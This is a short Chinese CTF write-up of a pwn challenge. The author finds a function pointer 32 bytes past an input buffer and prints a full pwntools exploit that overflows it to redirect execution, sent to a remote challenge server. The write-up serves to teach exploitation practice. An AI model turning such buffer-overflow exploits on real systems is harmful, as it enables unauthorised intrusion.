这题我也是想了好久啊,实在是没找到什么办法,后来还是把题目给摸透了根据经验一个个试出来的方法!!!
拿到题目下载附件查看保护:
只开了NX,嗯。。。
进入IDA,————惊了,这个是啥子意思???
一大堆奇奇怪怪的东西,实在是看不懂,我们只能看看几个关键的输入点:
第一个输入name:
没有什么东西,进行看string v2 :
我们看到距离32的地方,有个0x54的函数指针:
找到了(此时时间已经过去好久,纯运气碰到?)
我们只要将指针v3覆盖成我们想去的地址就可以了,完整exp:
#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',56015)
print p.recvuntil("> ")
p.sendline('A')
payload='A'*32+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()